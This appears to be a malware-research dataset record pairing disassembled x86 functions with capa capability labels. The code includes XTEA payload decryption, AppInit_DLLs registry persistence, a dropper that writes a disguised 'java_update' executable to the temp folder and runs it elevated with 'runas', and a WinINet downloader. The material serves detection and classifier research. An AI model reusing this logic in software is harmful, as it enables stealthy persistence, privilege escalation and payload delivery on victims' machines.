joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401170
Capabilities:
Encode data using xor
Encrypt data using xtea

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
push ebx
push esi
bswap eax
bswap ecx
xor edx, edx
mov dword [ebp - 4], 0x20
push edi
lea esp, [esp]
mov edi, dword [ebp + 0xc]
mov esi, edx
and esi, 3
mov esi, dword [edi + esi*4]
bswap esi
add esi, edx
mov edi, ecx
shr edi, 5
mov ebx, ecx
shl ebx, 4
xor edi, ebx
add edi, ecx
xor esi, edi
mov edi, dword [ebp + 0xc]
add eax, esi
sub edx, 0x61c88647
mov esi, edx
shr esi, 0xb
and esi, 3
mov esi, dword [edi + esi*4]
mov edi, eax
shr edi, 5
mov ebx, eax
shl ebx, 4
bswap esi
xor edi, ebx
add esi, edx
add edi, eax
xor esi, edi
add ecx, esi
dec dword [ebp - 4]
jne 0x401190
mov edx, dword [ebp + 8]
pop edi
bswap eax
bswap ecx
pop esi
mov dword [edx], eax
mov dword [edx + 4], ecx
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x401200
Capabilities:
Encode data using xor
Encrypt data using xtea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
add edx, 7
shr edx, 3
dec edx
mov dword [ebp - 0xc], edx
js 0x4012c5
push ebx
push esi
push edi
jmp 0x401223
mov eax, dword [ebp + 8]
lea ecx, [eax + edx*8 - 8]
test edx, edx
jne 0x40122e
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 8], ecx
mov ecx, dword [eax + edx*8]
mov eax, dword [eax + edx*8 + 4]
bswap ecx
bswap eax
mov edx, 0xc6ef3720
mov dword [ebp - 4], 0x20
mov edi, dword [ebp + 0x10]
mov esi, edx
shr esi, 0xb
and esi, 3
mov esi, dword [edi + esi*4]
bswap esi
add esi, edx
mov edi, ecx
shr edi, 5
mov ebx, ecx
shl ebx, 4
xor edi, ebx
add edi, ecx
xor esi, edi
mov edi, dword [ebp + 0x10]
sub eax, esi
add edx, 0x61c88647
mov esi, edx
and esi, 3
mov esi, dword [edi + esi*4]
mov edi, eax
shr edi, 5
mov ebx, eax
shl ebx, 4
bswap esi
xor edi, ebx
add esi, edx
add edi, eax
xor esi, edi
sub ecx, esi
dec dword [ebp - 4]
jne 0x401248
mov edx, dword [ebp - 0xc]
mov esi, dword [ebp + 0xc]
bswap ecx
mov dword [esi + edx*8], ecx
lea ecx, [esi + edx*8 + 4]
bswap eax
mov dword [ecx], eax
mov eax, dword [ebp - 8]
mov edi, dword [eax]
xor dword [esi + edx*8], edi
mov eax, dword [eax + 4]
xor dword [ecx], eax
dec edx
mov dword [ebp - 0xc], edx
jns 0x401220
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4013a0
Capabilities:
Persist via appinit_dlls registry key
Set registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x40a004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x1c]
push eax
push 3
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x4013de
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040281c
mov esp, ebp
pop ebp
ret
mov eax, 0x44bd30
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4013e6
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
sub eax, edx
mov edx, dword [ebp - 0x1c]
sar eax, 1
lea ecx, [eax + eax]
push ecx
push 0x44bd30
push 1
push 0
push str.AppInit_DLLs
push edx
call esi
test eax, eax
jne 0x4013cd
mov ecx, dword [ebp - 0x1c]
push 4
lea eax, [ebp - 0x20]
push eax
push 4
push 0
push str.LoadAppInit_DLLs
push ecx
mov dword [ebp - 0x20], 1
call esi
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x40ab24]
mov edx, dword [0x40ab28]
mov eax, dword [0x40ab20]
mov dword [ebp - 0x10], ecx
mov ecx, dword [0x40ab30]
mov dword [ebp - 0xc], edx
mov edx, dword [0x40ab34]
mov dword [ebp - 0x14], eax
mov eax, dword [0x40ab2c]
mov dword [ebp - 0x28], ecx
mov ecx, dword [0x40ab38]
mov dword [ebp - 0x24], edx
xor edx, edx
or ecx, dword [0x40ab3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0x18], edx
mov eax, 0x40ab38
je 0x4014a0
lea esp, [esp]
mov ecx, dword [eax + 0xc]
add eax, 8
add edx, 8
or ecx, dword [eax]
jne 0x401490
mov dword [ebp - 0x18], edx
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x14]
push ecx
push 0x40ab38
push 0x40ab38
call fcn.00401200
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push 0x44bd30
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4014f5
mov eax, dword [ebp - 0x18]
push 0
lea edx, [ebp - 0x18]
push edx
push eax
push 0x40ab38
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov al, 1
pop esi
call fcn.0040281c
mov esp, ebp
pop ebp
ret
Function at 0x401e80
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x40a004]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x200
lea eax, [ebp - 0x404]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea ecx, [ebp - 0x404]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401edc
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040281c
mov esp, ebp
pop ebp
ret
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, dword [0x44b890]
mov dword [ebp - 0x408], eax
add eax, 0x100
push eax
push 8
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp - 0x408]
push 0
mov esi, eax
lea eax, [ebp - 0x408]
push eax
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x408]
mov ecx, dword [0x44b8a4]
lea eax, [esi + edx]
mov dword [eax], ecx
mov edx, dword [0x44b8a8]
push 0x44b894
push 0x44b8a4
mov dword [eax + 4], edx
call fcn.00401170
mov eax, dword [ebp - 0x408]
mov ecx, dword [ebp - 4]
add eax, 8
mov dword [ebx], eax
mov eax, esi
pop esi
xor ecx, ebp
pop edi
call fcn.0040281c
mov esp, ebp
pop ebp
ret
Function at 0x401f70
Capabilities:
Check os version
Delete file
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x40a004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea ebx, [ebp - 0x40c]
call fcn.00401e80
mov ebx, eax
test ebx, ebx
je 0x4020ee
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push 0x44b930
call edi
mov esi, eax
cmp esi, 0xffffffff
jne 0x402087
mov ax, word [0x44b930]
lea esi, [ebp - 0x408]
test ax, ax
je 0x401ff2
movzx ecx, ax
mov edx, 0x44b930
mov eax, esi
sub edx, eax
nop
movzx eax, word [edx + esi + 2]
mov word [esi], cx
add esi, 2
mov ecx, eax
test ax, ax
jne 0x401fe0
xor ecx, ecx
mov word [esi], cx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, esi
call fcn.004012d0
mov esi, 0x408aa8
mov edx, 0x2e
sub esi, eax
mov word [eax], dx
movzx ecx, word [esi + eax + 2]
add eax, 2
mov edx, ecx
test cx, cx
jne 0x402010
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExW]
xor edx, edx
mov word [eax], dx
push edx
lea eax, [ebp - 0x408]
push eax
push 0x44b930
call esi
push 4
push 0
lea ecx, [ebp - 0x408]
push ecx
call esi
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push 0x44b930
call edi
mov esi, eax
cmp esi, 0xffffffff
jne 0x402087
mov edx, dword [0x44b890]
push ebx
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040281c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x40c]
push 0
lea eax, [ebp - 0x40c]
push eax
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x44b890]
push ebx
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jne 0x4020d6
call fcn.00401510
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040281c
mov esp, ebp
pop ebp
ret
push 1
call fcn.00401830
add esp, 4
test al, al
jne 0x4020ee
push 0
call fcn.00401830
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040281c
mov esp, ebp
pop ebp
ret
Function at 0x402100
Capabilities:
Create process on windows
Delete file
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x444
mov eax, dword [0x40a004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
lea ebx, [ebp - 0x408]
call fcn.00401e80
mov ebx, eax
xor edi, edi
cmp ebx, edi
je 0x4022bf
push esi
lea ecx, [ecx]
lea eax, [ebp - 0x404]
push eax
push 0x200
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea esi, [ebp - 0x404]
cmp word [ebp - 0x404], di
je 0x402159
add esi, 2
cmp word [esi], di
jne 0x402151
cmp word [esi - 2], 0x5c
je 0x40216b
mov ecx, 0x5c
mov word [esi], cx
add esi, 2
mov edx, str.java_update_
mov ecx, 0x6a
sub edx, esi
jmp 0x402180
movzx eax, word [edx + esi + 2]
mov word [esi], cx
add esi, 2
mov ecx, eax
cmp ax, di
jne 0x402180
xor edx, edx
mov word [esi], dx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, esi
call fcn.004012d0
mov edx, str..exe
mov esi, 0x2e
sub edx, eax
mov word [eax], si
movzx ecx, word [edx + eax + 2]
add eax, 2
mov esi, ecx
cmp cx, di
jne 0x4021b0
push edi
push edi
push 2
push edi
push 1
push 0x40000000
lea edx, [ebp - 0x404]
xor ecx, ecx
push edx
mov word [eax], cx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4022af
mov ecx, dword [ebp - 0x408]
push edi
lea eax, [ebp - 0x408]
push eax
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x44b890]
push ebx
push edi
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0x3c
lea eax, [ebp - 0x444]
push edi
push eax
call fcn.00405cd0
add esp, 0xc
lea edx, [ebp - 0x444]
lea ecx, [ebp - 0x404]
push edx
mov dword [ebp - 0x444], 0x3c
mov dword [ebp - 0x438], str.runas
mov dword [ebp - 0x434], ecx
mov dword [ebp - 0x43c], edi
mov dword [ebp - 0x430], edi
mov dword [ebp - 0x428], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x4022be
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ebx, [ebp - 0x408]
call fcn.00401e80
mov ebx, eax
cmp ebx, edi
jne 0x402130
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040281c
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x44b890]
push ebx
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.0040281c
mov esp, ebp
pop ebp
ret
Function at 0x40281c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a004]
jne 0x402826
repz ret
jmp fcn.00402a2b

Function at 0x40488b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40a004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004037d3
and dword [ebp - 0x14], 0
cmp dword [0x44b84c], 0
mov dword [ebp - 0x18], eax
jne 0x40493e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4049e6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4049e6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x44b84c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x44b850], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x44b854], eax
call edi
push eax
call esi
mov dword [0x44b85c], eax
test eax, eax
je 0x40493e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x44b858], eax
mov eax, dword [0x44b858]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x404997
cmp dword [0x44b85c], ecx
je 0x404997
push eax
call esi
push dword [0x44b85c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x404997
test ebx, ebx
je 0x404997
call edi
test eax, eax
je 0x40498e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40498e
test byte [ebp - 8], 1
jne 0x404997
or dword [ebp + 0x10], 0x200000
jmp 0x4049ca
mov eax, dword [0x44b850]
cmp eax, dword [ebp - 0x18]
je 0x4049ca
push eax
call esi
test eax, eax
je 0x4049ca
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4049ca
mov eax, dword [0x44b854]
cmp eax, dword [ebp - 0x18]
je 0x4049ca
push eax
call esi
test eax, eax
je 0x4049ca
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x44b84c]
call esi
test eax, eax
je 0x4049e6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4049e8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040281c
leave
ret
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push edi
push 0x3c
xor ebx, ebx
lea eax, [ebp - 0x3c]
push ebx
push eax
mov esi, edx
mov edi, ecx
call fcn.00405260
add esp, 0xc
mov dword [ebp - 0x28], esi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
mov edx, str.runas
mov ecx, 0x4183a2
lea eax, [ebp - 0x3c]
cmove ecx, edx
push eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x800040
mov dword [ebp - 0x20], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x401079
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetProcessId]
push dword [ebp - 4]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x401207
Capabilities:
Read file on windows

Disassembly:
push 0x40
mov eax, 0x412142
call fcn.0040da0c
mov edi, ecx
mov eax, dword [ebp + 8]
push 0x4183f0
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.00403522
push 2
push 0xfffffffffffffff0
push dword [ebp - 0x3c]
call fcn.00403894
push dword [ebp - 0x3c]
lea eax, [ebp - 0x38]
push 1
push 0x10
push eax
call fcn.0040372a
mov eax, dword [ebp - 0x30]
add esp, 0x28
cmp eax, 0x10000
ja 0x4012f5
cmp dword [ebp - 0x34], eax
ja 0x4012f5
push 2
neg eax
push eax
push dword [ebp - 0x3c]
call fcn.00403894
push dword [ebp - 0x3c]
lea eax, [ebp - 0x4c]
push 1
push 4
push eax
call fcn.0040372a
lea eax, [ebp - 0x4c]
lea ecx, [ebp - 0x2c]
mov eax, dword [eax]
add esp, 0x1c
cmp eax, dword [ecx]
jne 0x4012f5
push dword [ebp - 0x34]
xor ebx, ebx
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
call fcn.004014a4
mov dword [ebp - 4], ebx
push dword [ebp - 0x3c]
mov esi, dword [ebp - 0x48]
push 1
push dword [ebp - 0x34]
push esi
call fcn.0040372a
mov eax, dword [ebp - 0x44]
add esp, 0x10
sub eax, esi
push eax
push esi
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x28], bl
call fcn.004013ea
lea eax, [ebp - 0x28]
push eax
lea ecx, [edi + 4]
call fcn.0040132c
lea ecx, [ebp - 0x28]
call fcn.00401362
test esi, esi
je 0x4012f1
push esi
call fcn.00403800
pop ecx
mov al, 1
jmp 0x4012f7
xor al, al
call fcn.0040d9ca
ret 4
Function at 0x4018b0
Capabilities:
Create thread
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x54
push ebx
push ebp
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringA]
push edi
mov edi, dword [esp + 0x68]
push 0x64
push 0x41c180
push 0x67
push edi
call esi
push 0x64
mov ebx, 0x41c1e8
push ebx
push 0x6d
push edi
call esi
mov esi, dword [sym.imp.USER32.dll_LoadIconA]
push 0x6b
push edi
mov dword [esp + 0x3c], 0x30
mov dword [esp + 0x40], 3
mov dword [esp + 0x50], edi
call esi
push 0x7f00
xor ebp, ebp
push ebp
mov dword [esp + 0x54], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x6c
push dword [esp + 0x4c]
mov dword [esp + 0x58], eax
mov dword [esp + 0x44], 0x401ace
mov dword [esp + 0x48], ebp
mov dword [esp + 0x4c], ebp
mov dword [esp + 0x5c], 5
mov dword [esp + 0x60], ebp
mov dword [esp + 0x64], ebx
call esi
mov dword [esp + 0x60], eax
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExA]
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x14], 8
mov dword [esp + 0x18], 0x20
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
push ebp
push 0x401b56
push ebp
push 0x81
push edi
call dword [sym.imp.USER32.dll_CreateDialogParamA]
push 0x3e9
push eax
mov dword [0x41c170], eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push dword [esp + 0x74]
mov dword [0x41c178], eax
push dword [0x41c170]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
push 0x28
mov edi, eax
call fcn.00403984
pop ecx
test eax, eax
je 0x4019c2
push ecx
push ecx
push dword [esp + 0x78]
mov ecx, eax
call fcn.00401cbf
mov ecx, eax
jmp 0x4019c4
mov ecx, ebp
lea eax, [ecx + 4]
push eax
push ebp
push ecx
push 0x401b95
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
jmp 0x401a09
lea eax, [esp + 0x18]
push eax
push edi
push dword [esp + 0x20]
call dword [sym.imp.USER32.dll_TranslateAcceleratorA]
test eax, eax
jne 0x401a09
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebp
push ebp
push ebp
lea eax, [esp + 0x24]
push eax
call esi
test eax, eax
jne 0x4019df
mov eax, dword [esp + 0x20]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x54
ret 0x10
Function at 0x401ba2
Capabilities:
Create http request
Download and write a file
Query remote server for available data
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov eax, 0x1018
call fcn.0040ab90
mov eax, dword [0x41a050]
xor eax, esp
mov dword [esp + 0x1014], eax
mov eax, dword [esp + 0x101c]
mov edx, dword [0x41c254]
push ebx
push ebp
push esi
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x102c]
xor esi, esi
push edi
mov edi, dword [esp + 0x1034]
mov ebx, ecx
mov dword [esp + 0x20], eax
test edx, edx
jne 0x401bfc
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edx, eax
mov dword [0x41c254], edx
test edi, edi
jne 0x401c04
mov ecx, esi
jmp 0x401c12
mov ecx, edi
lea ebp, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401c09
sub ecx, ebp
push esi
push 0x4040300
push ecx
push edi
push dword [esp + 0x28]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
push esi
mov edi, eax
push esi
lea eax, [esp + 0x24]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
push 0x418440
push dword [esp + 0x24]
lea eax, [esp + 0x1c]
push eax
call fcn.00403522
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
add esp, 0xc
jmp 0x401c7d
cmp dword [esp + 0x10], 0
je 0x401c93
push dword [esp + 0x1c]
add esi, dword [esp + 0x14]
push esi
push ebx
call dword [ebx]
push dword [esp + 0x20]
lea eax, [esp + 0x34]
push dword [esp + 0x20]
push 1
push eax
call fcn.00403b6b
add esp, 0x1c
lea eax, [esp + 0x10]
push eax
push 0x1000
lea eax, [esp + 0x2c]
push eax
push edi
call ebp
test eax, eax
jne 0x401c53
push dword [esp + 0x14]
call fcn.00403c55
pop ecx
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [esp + 0x1024]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00402cc8
add esp, 0x1018
ret 0xc
Function at 0x40244a
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x41a050]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x408], 0
cmp dword [edx + 0x14], 0x10
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
mov ecx, dword [ebp + 0xc]
jb 0x402475
mov edx, dword [edx]
cmp dword [ecx + 0x14], 0x10
jb 0x40247d
mov ecx, dword [ecx]
cmp dword [eax + 0x14], 0x10
jb 0x402485
mov eax, dword [eax]
push edx
push 0x400
lea edx, [ebp - 0x404]
push edx
push 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x404]
push eax
mov ecx, esi
call fcn.004012ff
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00402cc8
leave
ret
Function at 0x40a85a
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a050]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.004088a4
mov dword [ebp - 0x14], eax
cmp dword [0x41c0fc], edi
jne 0x40a94b
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x40a8d8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40aa2b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x40aa2b
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40aa2b
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x41c0fc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x41c100], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x41c104], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41c10c], eax
test eax, eax
je 0x40a948
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41c108], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40a970
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40a963
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x40a985
push 4
pop eax
jmp 0x40aa2d
cmp dword [ebp - 0x14], edi
je 0x40a985
push dword [0x41c0fc]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40a96a
mov eax, dword [0x41c108]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x40a9e3
cmp dword [0x41c10c], esi
je 0x40a9e3
push eax
call ebx
push dword [0x41c10c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40a9e3
test eax, eax
je 0x40a9e3
call ecx
test eax, eax
je 0x40a9d8
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40a9d8
test byte [ebp - 8], 1
jne 0x40a9e3
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x40aa13
mov eax, dword [0x41c100]
cmp eax, esi
je 0x40aa10
push eax
call ebx
test eax, eax
je 0x40aa10
call eax
mov edi, eax
test edi, edi
je 0x40aa10
mov eax, dword [0x41c104]
cmp eax, esi
je 0x40aa10
push eax
call ebx
test eax, eax
je 0x40aa10
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x41c0fc]
call ebx
test eax, eax
je 0x40aa2b
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x40aa2d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402cc8
leave
ret